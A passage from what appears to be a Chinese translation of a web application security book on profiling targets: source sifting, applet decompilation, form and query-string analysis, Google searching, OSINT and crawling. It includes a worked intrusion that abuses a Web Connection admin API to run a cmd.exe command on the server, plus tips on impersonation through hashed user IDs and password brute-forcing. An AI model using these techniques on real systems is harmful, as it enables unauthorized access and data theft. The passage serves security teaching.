·JavaScript文件：几乎所有Web应用都使用JavaScript（.js），其中大部分都嵌入到实际的HTML中，但是也存在单独的文件。应用将JavaScript文件用于从浏览器定制到会话处理等各个方面。除了列举这些文件以外，重要的是要注意文件包含的函数类型。

·包含文件：在IIS系统上，包含文件（.inc）通常控制数据库访问或者包含应用内部使用的变量。程序员喜欢将数据库连接串放在这个文件里——密码和所有其他信息！

·其他：对ASP、PHP、Perl、文本和其他文件的引用可能在HTML源代码中。

URL很少直接引用这些文件，所以你必须转向HTML源代码中寻找它们。在服务器端包含指令（Server Side Include directives）和脚本标记中查找这些文件。你可以手工检查页面，或者使用方便的命令行工具，下载文件并且开始搜索。尝试常见的文件后缀和标志：

[root@meddle tb]# getit.sh www.victim.com /tb/tool.php > tool.php
[root@meddle tb]# grep js tool.php
www.victim.com [192.168.189.113] 80 (http) open
var ss_path = "aw/pics/js/"; // and path to the files
document.write("<SCRIPT SRC=\"" + ss_machine + ss_path +
"stats/ss_main_v-" + v +".js\"></SCRIPT>");

这样的输出告诉我们两件事。第一，有两个目录我们之前没有找到：aw/pics/js/和stats/。第二，有多个遵循ss_main_v-*.js命名惯例的JavaScript文件，这里的*代表某个取值。稍作一些源代码筛选就能告诉我们这一取值。

你也可以猜测常见的文件名称。在前面的步骤中列举的目录中尝试如下文件名：

同样，这些搜索不需要手工进行。我们将在稍后的2.2.2节和2.2.3节介绍这些工具，探讨自动化搜索方法。

Java类和小应用程序（Applet）

基于Java的应用是源代码筛选和调查网站功能的一种特殊情况。如果你能够下载Java类或者编译后的小服务程序（Servlet），那么你就可以实际地从内部拆解应用。想象一下，如果应用使用以Java servlet编写的自定义加密方案，而你能够下载这个Servlet并且窥探其代码。

在Web应用当中查找小应用程序相当简单：只要查找applet标记代码如：

<applet code = "MainMenu.class"
codebase="http://www.site.com/common/console" id = "scroller">
<param name = "feeder" value
="http://www.site.com/common/console/CWTR1.txt">
<param name = "font" value = "name=Dialog, style=Plain, size=13">
<param name = "direction" value = "0">
<param name = "stopAt" value = "0">
</applet>

Java设计为一种编写一次、到处运行的语言。显著的副作用是实际上你可以反汇编Java类为原始的源代码，最佳的工具是Java反汇编程序（jad）。使用jad反汇编Java很简单：

[root@meddle]# jad SnoopServlet.class
Parsing SnoopServlet.class... Generating SnoopServlet.jad
[root@meddle]# cat SnoopServlet.jad
// Decompiled by Jad v1.5.7f. Copyright 2000 Pavel Kouznetsov.
// Jad home page:
// http://www.geocities.com/SiliconValley/Bridge/8617/jad.html
// Decompiler options: packimports(3)
// Source File Name: SnoopServlet.java
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Enumeration;
import javax.servlet.*;
import javax.servlet.http.*;
public class SnoopServlet extends HttpServlet
{
...remainder of decompiled Java code...

使用这个工具并不要求训练有素的Java编码人员。能够访问这个网站的内部功能你就可以检查数据库调用、文件格式、输入验证（或者验证的缺失）以及其他服务器功能。

你可能发现获得实际的Java类很困难，但是可以尝试下面这几种技巧：

·在小服务程序名后面加上.java或者.class。例如，如果网站使用一个小服务程序“/servlet/LogIn”，就查找“/servlet/LogIn.class”。

·在备份目录中搜索小服务程序：如果小服务程序在一个Servlet引擎没有识别为可执行的目录中，那么你可以读取实际的文件来代替接收其输出。

·搜索常见的测试Servlet：SessionServlet、AdminServlet、SnoopServlet和Test是一些测试小服务程序的名称。注意，许多Servlet引擎是大小写敏感的，所以你必须正确输入名称。

小应用程序（applets）看上去是软件中最不安全的部件，大部分开发人员没有意识到它很容易反汇编从而泄露大量信息。小应用程序实际上是包含所有与服务器通信所需代码的胖客户端。我们已经多次看到小应用程序直接发送SQL查询给应用，或者使用特殊的来宾账户执行某些功能，代码中嵌入了用户名和密码。如果你看到一个用于敏感操作的小应用程序，那是令人欣喜的，十有八九你会在反编译之后发现真正的安全问题。如果小应用程序由于使用了好的混淆技术而无法反编译，那么研究发往Web服务器的通信，对其进行逆向工程。大部分小应用程序将遵循浏览器的代理设置，所以通过将其设置为指向你掌握的代理工具，这样的小应用程序的通信将是可见的。在某些情况下，小应用程序将不会遵循浏览器代理设置，在这种时候，退回到老式的方法将是有效的，所以可以用上你所信赖的嗅探程序。

Flash和Silverlight对象

交互式网站组件越来越流行。随着开发人员接受新的技术如Flash和Silverlight，更多的应用逻辑被放到客户端。与这个潮流并行，客户端逻辑也变成了现代攻击者的目标。正如有可能反汇编Java小应用程序，窥探客户端代码如Flash SWF文件和强大的Silverlight组件的内部功能也是可能的。我们将在第9章介绍对Flash和Silverlight的攻击，以及防御对策。

HTML源代码

HTML源代码可能包含许多有趣的信息片段。

HTML注释：攻击者所看到的最明显的位置是HTML注释，这是源代码的特殊部分，作者通常在这里放置可能透露许多信息的非正式摘要。<--字符表示所有基本的HTML注释。

HTML注释内容的价值是未知的。它们可能无处不在却不提供什么信息，也可能很少，但是包含了用于后续SQL查询的数据库表的描述，甚至更糟——含有密码。

接下来的示例展示了我们的getit.sh脚本如何获取网站的ndex.html文件，然后通过UNIX/Linux grep命令查找HTML注释（你可以使用类似grep命令的Windows findstr命令）。

注意　！字符在UNIX/Linux命令行上有特殊的含义，在grep搜索中必须用“\避开。

[root@meddle ]# getit.sh www.victim.com /index.html | grep "<\!--"
www.victim.com [192.168.189.113] 80 (http) open
<!-- $Id: index.shtml,v 1.155 2002/01/25 04:06:15 hpa Exp $ -->
sent 17, rcvd 16417: NOTSOCK

最起码，这个示例向我们展示了，index.html文件实际上链接到index.shtml。.shtml扩展名暗示这个页面使用服务器端包含创建。在剖析应用时归纳起着很重要的作用，这就是熟悉各种类型Web技术的重要性。

突击测试一下：哪类程序对上例中$Id里的信息负责？

你可以使用这种技术（使用我们的getit脚本或者你选择的自动化Web爬行工具）将整个网站的注释转储到一个文件中，然后审阅该文件，寻找任何有趣的项目。如果你发现了有感兴趣的内容，可以在网站上搜索该注释，查找其所在的页面，然后小心地研究该页面来理解注释的上下文。这一过程可能揭示更多有趣的信息，包括：

·类似文件名的注释：你一般会看到许多插入了模板文件名的注释。下载这些模板并查看其代码。你永远不知道可能发现什么。

·老代码：寻找可能被注释掉的链接。它们可能指向网站中包含安全漏洞的老部件。该链接也可能指向曾经的工作文件，而现在你访问它时会显示错误信息。

·自动生成的注释：你可能看到许多注释是Web内容软件自动生成的。在搜索引擎中寻找这些注释，看看是哪些其他网站出现相同的注释。你可能会发现这些注释是什么软件产生的，并且得到有用的信息。

·显而易见的信息：我们曾经注释中看到完整的SQL语句、数据库密码和IRC聊天记录中为其他开发人员留下的注释等信息。

其他HTML源代码宝藏：不要停留在注释的分隔符号上。HTML源代码有所有类型的宝藏。尝试搜索如下字符串：

如果你发现了SQL字符串，感谢Web入侵之神——应用可能很快就会沦陷（但是你还必须等到第8章才能发现原因）。特定字符串的搜索总是硕果累累，但是最后，你必须在记事本或者vi中打开文件，了解整个情况。

注意　使用grep命令时，尝试-i标志（忽略大小写），-AN标志（显示匹配行之后的N行）和-BN标志（显示匹配行之前的N行）。

偶尔，语法错误会蔓延到动态页面中。不正确的语法可能导致文件部分执行，这可能在HTML源代码中留下原始的代码片段。以下是由于错误放置的PHP标记导致的一个代码片段（来自一个网站）：

Go to forum!\n"; $file = "http://www.victim.com/$subdir/list2.php?
f=$num"; if (readfile($file) == 0) { echo "(0 messages so far)"; } ?>

HTML中另一个值得搜索的有趣项目是指出服务器端执行的标记，例如PHP所用的<?和?>，ASP页面所用的<%、%>和<runat=server>。这些标记能够指出网站开发人员从未打算让公众看见的有趣部分。

HTML源代码信息还能在与互联网搜索引擎如Google的组合时提供有用的信息。例如，你可能在注释中找到开发人员姓名和电子邮件地址。这种信息本身可能没有什么意义，但是如果你在Google上搜索并且发现这位开发人员张贴了与他的应用开发相关的一些问题呢？现在你突然间洞察了这个应用开发的方式。你还可以假设相同的信息可能是网站验证部分的一个用户名，尝试对这个用户名进行暴力密码攻击。

举个例子，用HTML注释中出现的一个用户名进行Google搜索，能够找出该开发人员开发的能从其网站上下载的其他应用。查看这些代码，我们发现它的应用使用的配置数据在开发人员自己的网站上！稍微花了一点工夫，我们在这个配置数据中发现一个DES管理员密码文件。我们下载这个文件并且运行密码破解工具。在一个小时内，我们得到密码并且以管理员密码登录。这次的成功完全归功于一个注释和非常有帮助的开发人员主页。

关于HTML源代码筛选的最终思路：经验法则是查找所有包含你尚不知道的信息的内容。当你发现文件中每个页面上的知识中有一些奇怪的随机数字字符串，对其进行研究。这些随机数字可能属于一个具有Web访问界面的媒体管理应用。Web评估中最少量的信息也可能带来最大的突破，所以别让任何内容从你面前溜走，不管它第一眼看上去多么微不足道。

表单

表单是所有Web应用的骨干。曾经有多少次当你在网站上创建一个账号，你取消了标有“不要取消此检查框，否则将接收到垃圾邮件！”的检查框？由于难以理解的选择性退出（Opt-out）验证（或者选择性加入？），甚至英语专业学生的收件箱也充斥着主动提供的电子邮件。当然，表单中有与安全相关的更加重要的部分。你必须得到这些信息，因为大部分输入验证攻击是对付表单信息的。在手工检查应用时，并不是每个页面都有输入域。你可以点击遍历网站找到大部分表单，但是视觉的确认是不够的，你必须再一次转向源代码。对于喜欢镜像整个网站并使用grep命令行的朋友来说，从查找表单最简单的标志——它的标记开始。记住避开<字符，因为它在命令行上有特殊的意义。

[root@meddle]# getit.sh www.victim.com /index.html |
grep -i \<form www.victim.com [192.168.33.101] 80 (http) open sent 27,
rcvd 2683: NOTSOCK
<form name=gs method=GET action=/search>

现在你得到了表单的名称——gs，你知道它使用GET来代替POST，它调用Web根目录下的一个“search”脚本。回到搜索助手文件那一步，我们可能要搜索下面几个文件：search.inc、search.js、gs.inc和gs.js，猜测一下无伤大雅。记住，如果有可能的话下载/search文件的HTML源代码。

接下来，找出表单包含的域。源代码筛选在这一阶段是必需的，但是我们将组合grep来简化这一过程：

[root@meddle]# getit.sh www.victim.com /index.html |
grep -i "input type" www.victim.com [192.168.238.26] 80 (http) open
<input type="text" name="name" size="10" maxlength="15">
<input type="password" name="passwd" size="10" maxlength="15">
<input type=hidden name=vote value="websites">
<input type="submit" name="Submit" value="Login">

这个表单显示了3项：登录域、密码域和带有“Login”文本的提交按钮。用户名和密码都必须等于或者少于15个字符（这个应用是这么认为的）。HTML源代码揭示了第4个域“name”。应用使用隐含域有多种目的，大部分都严重地影响了网站的安全。会话处理、用户标识、密码、货物价格和其他敏感信息常常被放到隐含域里。我们知道你们急于实际尝试输入验证，但是请耐心一点。我们必须收集所有与网站相关的信息。

如果你打算创建一个进行表单登录的暴力脚本，就会希望列举所有密码域（你可能必须忽略\"字符串）：

[root@meddle]# getit.sh www.victim.com /index.html |
\> grep -i "type=\"password\""
www.victim.com [192.168.238.26] 80 (http) open <input type="password"
name="passwd" size="10" maxlength="15">

机警的程序员可能不使用密码输入类型或者在表单上使用“password”、“passwd”或“pwd”等词语。你可以搜索不同的字符串，但是命中率可能较低。较新的Web浏览器支持自动完成功能，使用户不用在每次访问网站时输入相同的信息。例如，浏览器可能保存用户的地址。然后，每当浏览器发现一个地址域（也就是说，它在表单中搜索“address”）时，它将自动提供用户信息。但是，对于密码域，自动完成功能通常设置为“关”：

[root@meddle]# getit.sh www.victim.com /login.html | \
> grep -i autocomplete
www.victim.com [192.168.106.34] 80 (http) open
<input type=text name="val2"
size="12" autocomplete=off>

这可能表示“val2”是一个密码域。至少，它似乎包含了程序员明确不希望浏览器存储的敏感信息。在这个例子中，没有使用type="password"是一个安全问题，因为当用户向域中输入数据时未被遮蔽。所以，在检查页面表单时，记下所有方面：

·Method（方法）：表单使用GET还是POST提交数据？GET请求比较容易在URL上操纵。

·Action（操作）：哪个脚本执行表单调用？使用哪种脚本语言（.pl、.sh、.asp）？如果你看到一个表单调用了带有.sh扩展名（shell脚本）的脚本，做出标记。Shell脚本在Web服务器上不安全是臭名昭著的。

·Maxlength（最大长度）：输入域是否应用了输入限制？长度限制很容易绕开。

·Hidden（隐含）：该域是否应该对用户隐藏？隐含域的值是什么？这些域很容易修改。

·Autocomplete（自动完成）：是否应用自动完成标记？为什么？输入域是否请求敏感信息？

·Password（密码）：这是个密码域吗？对应的登录域是什么？

查询字符串和参数

给定URL的最重要的部分可能是查询串，也就是问号（大部分情况下）之后的部分，指出某种反馈给应用中的动态可执行文件或者库文件的变量或参数。下面是一个示例：

http://www.site.com/search.cgi?searchTerm=test

这个URL表明值为test的searchTerm参数反馈到这个网站的可执行文件search.cgi。

查询串及其参数可能是需要收集的最重要信息，因为它们代表动态Web应用的核心功能，通常是最不安全的部分，因为它有最易变动的部件。你可以操纵参数值，试图假冒其他用户、获取受限的数据、运行任意系统命令，或者执行应用开发人员不期望的其他操作。参数名也能提供关于应用内部工作原理的信息。它们可能代表数据库列名、明显的会话ID或者包含用户名。应用管理这些字符串，但是可能没有恰当地进行验证。

查询字符串指纹识别：根据应用或者应用的调整方式，参数具有可辨识的外观和实现，对此应该加以注意。前面我们已经提到过，通常在查询串中的？之后包含参数。但是，在复杂和定制的应用中，这条规则不总是适用。所以你所要做的第一件事是识别路径、文件名和参数。例如，在表2-3列出的URL中，参数的定位由易到难。

表2-3　常见查询串结构

我们用于确定如何分离这些参数的方法是从URL中删除项。应用服务器通常为每个部分生成一个标准的错误信息。例如，我们可以从URL中删除到斜杠的所有东西，这样可能会生成一个错误信息，指示“错误的未知过程”之类的意思。接着继续删除URL的各部分，直到接收到一个不同的错误。一旦我们到达404错误的地方，就可以推测删除的部分是一个文件。你始终可以复制错误信息中的文本，看看能否用Google找到应用文档。

在接下来的2.2.4节“常见Web应用剖析”中，我们将提供丰富的查询串结构指纹识别示例。我们已经在这里展示了两个，作为开胃小菜：

file.xxx?OpenDocument or even !OpenDatabase (Lotus Domino)
file.xxx?BV_SESSIONID=(junk)&BV_ENGINEID=(junk) (BroadVision)

分析查询串和参数：收集查询串和参数是一件复杂的工作，很少有两个应用是相同的。在收集变量名称和值时，注意某些趋势。我们将（再次）使用如下的示例来说明某些重要的趋势：

http://www.site.com/search.cgi?searchTerm=testing&resultPage=testing&db=/templates/db/archive.db

这些参数中有三个有趣的地方：

·resultPage值等于搜索词，任何获取用户输入，并将输入用于设计意图之外的工作都是很好的安全问题勘查点。

·resultPage这个名称带来了一些问题。如果这个参数的值看上去不像一个URL，那么可能用于创建一个文件或者告诉应用装入一个以这个值命名的文件。

·但是，实际上引起我们注意的是db=/templates/db/archive.db，接下来我们将对此进行讨论。

表2-4列出了我们在查询串中看到db=/[path]这种语法的前五分钟内要尝试的工作。任何使用文件系统路径作为输入的应用逻辑都可能有问题。这些常见的对Web应用文件路径漏洞的攻击技术，将说明许多这些问题的性质。我们也会对resultPage参数尝试所有这些策略。如果你希望更深入研究，那么搜索search.cgi archive.d，或者学习更多搜索引擎的工作原理，或者假定“db”是被搜索的数据库。

表2-4　攻击尝试和含义

来点创意——你可能猜到其他可能包含非公共信息的隐含数据库名称，例如：

db=/templates/db/current.db
db=/templates/db/intranet.db
db=/templates/db/system.db
db=/templates/db/default.db

这里有其他的一些常用查询串/参数“主题”，可能指出潜在的脆弱应用逻辑：

·用户标识：查询代表用户的值。这可能是一个用户名、一个数字、用户的社会保险号或者其他与用户绑定的值。这种信息用于假冒攻击。相关的字符串是userid、username、user、usr、name、id、uid。例如：

/login?userid=24601.

·不要被这些用户参数的散列值吓倒。例如，你可能最终得到这样的参数：

/login?userid= 7ece221bf3f5dbddbe3c2770ac19b419

·实际上，这只不过是与上面相同的userid值用MD5值计算出的散列值而已。为了利用这个问题，只要把值递增为24602，并且计算该值的MD5散列值放入参数值中即可。识别这些转换过的参数的一种好办法是维护一个常用值（如编号、常见用户名、常见角色等）的散列值数据库。然后，取得应用中找到的任何MD5值进行简单的比较将会发现像刚才提到的那种简单散列技术。

·会话标识：查找整个会话中保持恒定的值。cookie也能进行会话处理。一些应用可能在URL上传递会话信息。相关的字符串是sessionid、session、sid和s。例如：

/menu.asp?sid=89CD9A9347

·数据库查询：检查URL中任何像是传递给数据库的值。常见的值有姓名、地址信息、偏好或者其他用户输入。这些参数是输入验证和SQL注入攻击的绝佳候选。除了匹配URL的操作及所处理的数据，没有其他简单的数据库值指示。例如：

/dbsubmit.php?sTitle=Ms&iPhone=8675309

·搜索编码/加密值：不要被参数中复杂的值所吓倒。例如，你可能在ASP.NET的viewstate参数中看到：

"__VIEWSTATE=dDwtNTI0ODU5MDE1Ozs+ZBCF2ryjMpeVgUrY2eTj79HNl4Q="

·这看上去很复杂，但也不过是一个Base64编码值。通常可以通过查看字符串的组成来确定，这种编码值由随机的大小写字母A-Z和0-9加上分散的+和/组成。最容易露出马脚的是字符串末尾的=号（可能有两个）。很容易通过Base64解码工具看到网站开发人员存储的值。Web应用中使用的其他一些常见编码/加密算法包括：MD5、SHA-1和神圣的XOR。长度通常是发现加密算法的关键。但是要小心，许多Web应用会组合多种散列和其他数据类型。识别分隔符之类的字符是简化加密算法检测的关键。

·布尔参数：这些参数很容易篡改，因为可能的取值很少。例如，对于“Debug”这样的布尔参数，攻击者可能尝试设置该值为TRUE、T或者1。其他布尔参数包括dbg、admin、source和show。

常见cookie

发现所运行的应用类型的场所不仅仅是URL。应用和Web服务器常常携带自己专用的cookie，表2-5中给出了示例。

表2-5　现有Web软件使用的常见cookie

后端访问点

最后收集的一组信息是后端连接的证据。注意，这些信息是应用进行更新地址信息或者改变密码时从数据库读取和写入的。标出与数据库或者其他系统直接相关的页面或者页面中的注释。

某些WebDAV选项启用Web服务器的远程管理。错误配置的服务器可能允许任何人上传、删除、修改或者浏览Web文档根目录。检查这些选项是否启用（我们将在第3章更多地讨论如何识别和评估WebDAV）。

[1] 猎鹿帽是《福尔摩斯》中的经典造型。——译者注

2.2.2　剖析所用的搜索工具

搜索引擎始终是黑客最好的朋友。至少一个主要的互联网搜索引擎在过去至少索引过一次你的目标Web应用，这是件很好的事情。在本书编写的时候最流行和有效的搜索引擎包括Google、Bing、Yahoo、Ask、AOL和许多其他搜索引擎（你可以在本章结尾的“参考与延伸阅读”小节中找到链接）。

我们最喜欢的是Google。下面是我们在采用基于搜索引擎的方法对Web应用进行剖析时利用的一些基本技术（下面的例子根据Google的语法）：

·使用“site:www.victim.com”（包括引号）搜索特定的网站，查找包含site:www.victim.com的URL。

·使用related:www.victim.com搜索与特定网站相关的页面，返回与www.victim.com相关的更有针对性的结果。

·检查从Google存档中取出网页内容的“缓冲”结果。这样，你可以查看网站中的特定页面，而不用离开舒适的www.google.com。这就像一个超级代理！

·调查被称作相似页面的搜索结果链接。这些工作和前面的“related”关键字相似。

·检查包含新闻组帖子的搜索结果，查看是否有与网站相关的帖子。这可能包含用户对登录困难的抱怨，或者管理员提出的软件组件方面的帮助要求。

·确保只使用域名site:victim.com进行搜索，这能返回“mail.victim.com”或“beta.victim.com”这样的搜索结果。

·使用文件类型操作符，如“filetype:swf”查找特定的文件类型，这将过滤结果，使其只包括含有对应的搜索关键字的Flash SWF文件。

利用搜索剖析网站的另一个确实有效的方法是，在检查网站的同时注意应用与URL交互的方式。尝试发掘URL独特的部分，例如，可能是一个文件名或者扩展名，甚至是参数工作的方式。还尝试识别某些固定的内容，然后进行Google搜索，看看是否有文档或者可能运行它的其他网站。例如，在最近的一次应用评估中，我们到处点击并且研究URL的设置方式。主页的URL类似于这种形式：

http://site/wconnect/ace/home.htm

主页上指向“online courses（在线课程）”的一个链接如下：

https://site/wconnect/wc.dll?acecode%7ESubGroup%7EONL%7EOnline%2BCourses

追随这个链接，我们进一步深入网站中，注意到如下URL：

https://site/wconnect/wc.dll?acecode~GroupCatalog~GROUP~ONLFIN~Financial+Planning+Online~ONL

https://site/wconnect/wc.dll?acecode~GroupCatalog~GROUP~ONLFIN~Financial+Planning+Online~ON L~&ORDER=LOCATION

注意，不管我们转向哪里，参数都被传递给wc.dll。所以我们必须找到更多关于这个文件的内容。为此，我们在Google上搜索/wconnect/wc.dll。结果返回一个其他运行这个文件的网站列表。在一些快速的调查之后，我们确定这个文件属于West-Wind开发的应用“Web Connection”。为了进一步研究，我们来到West-Wind网站的支持页面，找到了管理指南。在阅读文档时，我们注意到http://site/wconnect/admin.asp上有一个基于Web的管理页面，于是返回到该网站并且试图访问这个页面。但是我们对管理页面的请求得到一个“IP地址被拒绝”的错误信息，因为我们试图从一个未授权的IP地址访问受限区域。似乎管理员很好地使用了访问控制列表（ACL）。我们发现这是一个死胡同，因为无法了解IP地址欺骗的方法。但是，我们生来就是要迎接挑战的，我们再次回到文档。这次我们注意到只需要输入http://site.com/wconnect/wc.dll?_maintain_ShowStatu就可以访问应用的一个状态页面。这个页面如图2-5所示。

通过这个请求，我们能够成功地访问应用的状态页面。当我们仔细观察状态页面时，注意到有趣的事情：有一个“回到管理页面”链接。这是很有价值的，因为我们并未从管理页面来到这个页面！点击这个链接，将我们送回到admin.asp的页面，这个页面的访问遭到拒绝（不出意料）。但是我们知道这是值得调查的地方。我们感觉接近于渗透这个网站了，因为我们在没有访问管理页面的情况下访问了一个管理功能。再次回到文档之后，我们了解到管理页面只是wc.dll所实现的函数调用的一个跳转页面。因此，如果我们知道管理函数调用，只要通过wc.dll文件直接调用，而无须访问admin.asp页面。这一突破使得所有的工作和剖析研究都有了价值！

图2-5　wc.dll动态页面生成组件输出的_maintain~ShowStatus参数

我们回到文档识别所有可能提供系统的更深入访问的函数调用，寻找任何可能对工作有帮助的有趣之处。在手册中，我们发现了wconnect.ini文件参数的描述，应用从这个文件中读取设置。文档提到一个可定义的参数，运行一个.exe文件。下面是文档中的说明：

“StartEXE：启动一个用于基于文件消息的EXE，这个EXE在DLL ini文件中的ExeFile指定。这个EXE在系统上下文中启动，所以从服务中启动时将会运行于不可见的状态。”

这正是我们要找的。现在我们需要修改这个参数的值，这样就可以启动我们所定义的.exe文件。幸运的是，我们在文档中找到了一个API，名为“wwMain~EditConfig”。文档提到，这个API调用允许远程编辑Web Connection配置文件。文档还描述了一个很有用的显示远程编辑的服务器配置文件的页面：

http://site.com/wconnect/wc.dll?wwMain~EditConfig

嘿！这正是我们需要的！我们将这个URL插入到浏览器中，弹出我们所需要的编辑和更新.ini文件的页面。接着我们找到了ExeFile参数并且将值改为c:\winnt\system32\cmd.exe/c"dir/S c:\>d:\inetpub\wwwroot\dir.txt"，如图2-6所示。

这给了我们系统中所有文件的完整目录列表并且转储到Web根目录中的一个文本文件。我们更新了.ini文件。现在，唯一剩下的工作就是弄明白如何让应用服务器重新读入配置文件，执行我们的命令。

回顾文档，我们找到了所需要的：http://site.com/wc.dll?_maintain~StartExe。这能使应用重启并且运行我们的命令。运行结束后，我们就能够从http://site.com/dir.txt访问到新创建的文件。

所有这一切都从简单的Google查询开始！在你考虑网站的结构和逻辑时记住这一点。我们将在本章稍后的2.3节“一般对策”中讨论对这个方法的可能对策。

图2-6　操纵ExeFile参数在受害系统上运行任何命令。我的天，用Google能找到什么

开源的情报

除了Google之外，还有其他搜索引擎聚焦于对查找特定信息有价值的特殊内容。不管你想要查找关于某个人的信息或者查询公共记录，都可能有适合你的要求的特殊搜索引擎。Melissa Data这样的服务能够帮助你免费地收集与目标Web应用相关的人员信息。即使是目标相关的人力资源的邮件地址或者电话号码都有可能与剖析目标应用时的技术资源信息同样有价值，甚至超出。Maltego是一个自动化收集这类信息的许多工作的工具，它定义为开源的情报收集工具，帮助形象化人们、组织、网站、互联网基础架构和许多其他链接之间的关系。图2-7显示了Maltego对一个网站的剖析。

图2-7　开源智能工具Maltego剖析一个网站

Maltego能辅助信息收集，并能查找组织中各个部件之间的关联。即使只有像域名和IP地址这样简单的信息，它也能查询公共记录来发现联系。这个工具所能进行的查询的完整列表可以在http://ctas.paterva.com/view/Category:Transforms找到。

社交网络是另一个成长中的情报来源。某种攻击可能涉及加入LinkedIn（www.linkedin.com）并且假冒某个特定公司雇员的恶意用户。他可以连接到其他雇员并且获取他们的信息，之后将这些信息用于进一步的攻击。为了抵御这种攻击，社交网络的用户必须意识到分享敏感信息的地方和人。许多企业已经开始通过内部培训活动，在某些情况下对雇员与工作项目相关的敏感信息的Twitter feed和Facebook简档进行监控，来提升这种风险意识。2010年3月，以色列军方在一位士兵在Facebook网页上泄露了行动细节之后取消了计划内的一次攻击。由于担心敌人已经阅读了与攻击特定时间和地点相关的信息，军方认为继续这一计划内的行动风险过高。没有适当的员工培训和政策，这种信息泄露可能在任何组织发生。

Robots.txt

在开始介绍互联网引擎的使用之前，先说明一个可能极大改进剖析效率的搜索相关问题。Robots.txt文件包含了搜索引擎（如Google）应该搜索或者忽略的目录列表。这个文件可以从Google上或者从网站上读取：

[root@meddle]# getit.sh www.victim.com /robots.txt
User-agent: *
Disallow: /Admin/
Disallow: /admin/
Disallow: /common/
Disallow: /cgi-bin/
Disallow: /scripts/
Disallow: /Scripts/
Disallow: /i/
Disallow: /images/
Disallow: /Search
Disallow: /search
Disallow: /links
Disallow: /perl
Disallow: /ipchome
Disallow: /newshome
Disallow: /privacyhome
Disallow: /legalhome
Disallow: /accounthome
Disallow: /productshome
Disallow: /solutionshome
Disallow: /tmpgeos/

这样的文件是个金矿！Disallow标记指示协作的爬行工具忽略这个目录。工具和搜索引擎很少这么做。重要的是robots.txt文件提供了目录结构很好的快照——而且可能是一些指出之后可以利用的错误配置的清晰线索。

注意　怀疑网站不再使用robots.txt文件？在Google上尝试这一搜索（“parent directory”必须加上引号）："parent directory"robots.txt。

2.2.3　自动化的Web爬行

我们花费了大量的时间列举剖析Web应用及其基础支持架构的手工技术，希望这是Web应用剖析的一次“揭秘之旅”。和这些技术同样有趣的是，我们最早承认这些技术是麻木地重复进行的，特别是对于大应用。我们在整个讨论中已经多次暗示，有许多工具能够自动化并且大大简化这一过程。

我们已经指出，剖析中的一种基本而强大的技术是制作整个应用的一个本地副本，这个副本可供慢慢地仔细检查。我们称这一过程为Web爬行（Crawling），对于大规模的Web应用评估，Web爬行工具是绝对必要的。你的Web爬行结果将为攻击建立知识基线，这一基线是任何Web评估最重要的方面。你所收集的信息将有助于识别目标的整体架构，包括Web应用构造、输入点、目录结构等所有重要细节。Web爬行的其他关键作用包括：

·节省大量的手工劳动！

·提供所有应用组件容易浏览的、本地缓存的副本，包括静态页面、可执行文件、表单等。

·启用镜像内容之上的全局关键词搜索（想想“Password”和其他动人的搜索词）。

·提供能够很容易地揭示如目录、文件和参数的命名惯例等内容的高级快照。

Web爬行很强大，但是并非没有缺点。下面是它无法胜任的工作：

·表单：爬虫程序是自动化的，常常不能处理设计用于人机交互的Web表单的填写。例如，网站可能有需要填写表单的多步骤账户注册过程。如果爬虫程序无法正确地完成第一个表单，就可能无法达到注册过程的后续步骤，从而将漏掉应用在成功完成注册时将要进入的特权页面。

·复杂流程：通常，爬行能阐明目录、文件等的逻辑关系。但是有些具有非正统设计的网站可能对抗爬虫程序的简单诠释，并且要求人们手工地点击遍历网站。

·客户端代码：许多Web爬虫程序在处理客户端代码时遇到困难。如果目标网站有许多JavaScript，很可能你将必须手工排查这些代码，得到应用工作方式的正确基线。这问题通常发生在免费和廉价的Web爬虫程序上。你将会发现许多高级的商业爬虫程序已经克服了这一问题。客户端代码的例子包括JavaScript、Flash、ActiveX、Java Applets和AJAX（异步Java和XML）。

·状态问题：试图在网站中要求基于Web验证的一个区域中爬行是有问题的。大部分爬虫程序在被要求维持登录状态时遇到大问题。这可能导致基线被切断。应用维护状态的技术数不胜数。所以我们建议手工剖析网页中需要验证的部分，或者在目标网站需要维护状态时求助于Web安全评估产品。没有一种免费的爬虫程序能够胜任这一工作。

·破坏的HTML/HTTP：许多爬虫程序试图在检查应用时遵循HTTP和HTML规范，但是主要的问题是没有一种Web应用遵循HTML规范。实际上，网站上的一个破坏的链接在一个浏览器中有效，而在另一个中却无效。在自动化产品确认代码损坏，并自动修复代码问题，使其采用Internet Explorer期望的方式工作时，这一问题始终存在。

·Web服务：越来越多的应用被设计为低耦合的服务序列，传统的Web爬虫也就越来越难以确定域之间的关系和边界。许多现代的Web应用依赖基于Web的API提供数据给它们的客户。没有明确的关于如何执行的指南，传统的爬虫程序将不能正确地执行和映射API。

尽管有这些缺点，我们仍然极力建议将Web爬行作为剖析过程的一个重要部分。接下来，我们将讨论一些最受欢迎的Web爬行工具。

Web爬行工具

下面是我们最喜爱的帮助自动化应用调查中的繁重工作的工具。它们本质上都是蜘蛛，一旦指向一个URL，你就可以坐下来看着它们在你的系统创建一个镜像。记住，这并不是具有ASP源代码和数据库调用的目标网站的实用复制，而只是应用中每个可用链接的完全集合。这些工具进行大部分收集文件的繁重工作。

注意　我们将在第10章中讨论全部Web应用评估工具，包括爬行功能。

Lynx： Lynx是在许多UNIX系统上都能找到的基于文本Web浏览器。它提供一种快速浏览网站的方法，但是大量JavaScript将会阻止它。我们发现它的最佳用途是下载特定页面。

Lynx的“首选项”部分的-dump选项很有用。本质上，这个选项命令Lynx简单地转储网页的输出到屏幕并且退出。你可以重定向输出到一个文件。初看这似乎没什么用，但是lynx包含了嵌入页面HTML源代码中的所有链接列表。这对于列举链接以及查找带有长参数串的URL很有帮助。

[root@meddle]# lynx -dump https://www.victim.com > homepage
[root@meddle]# cat homepage
...text removed for brevity...
References
1. http://www.victim.com/signup?lang=en
2. http://www.victim.com/help?lang=en
3. http://www.victim.com/faq?lang=en
4. http://www.victim.com/menu/
5. http://www.victim.com/preferences?anon
6. http://www.victim.com/languages
7. http://www.victim.com/images/

如果你希望看到HTML源代码而不是格式化的页面，那么使用-source选项。另外两个选项-crawl和-traversal将收集格式化的HTML并且存储到文件中。但是，这不是创建网站镜像的好办法，因为保存的文件不包含HTML源代码。

Lynx仍然是捕捉单个URL的杰出工具，它相对getit脚本的主要好处是使用-auth选项执行HTTP基本验证：

[root@meddle]# lynx -source https://www.victim.com/private/index.html
Looking up www.victim.com
Making HTTPS connection to 192.168.201.2
Secure 168-bit TLSv1/SSLv3 (EDH-RSA-DES-CBC3-SHA) HTTP connection
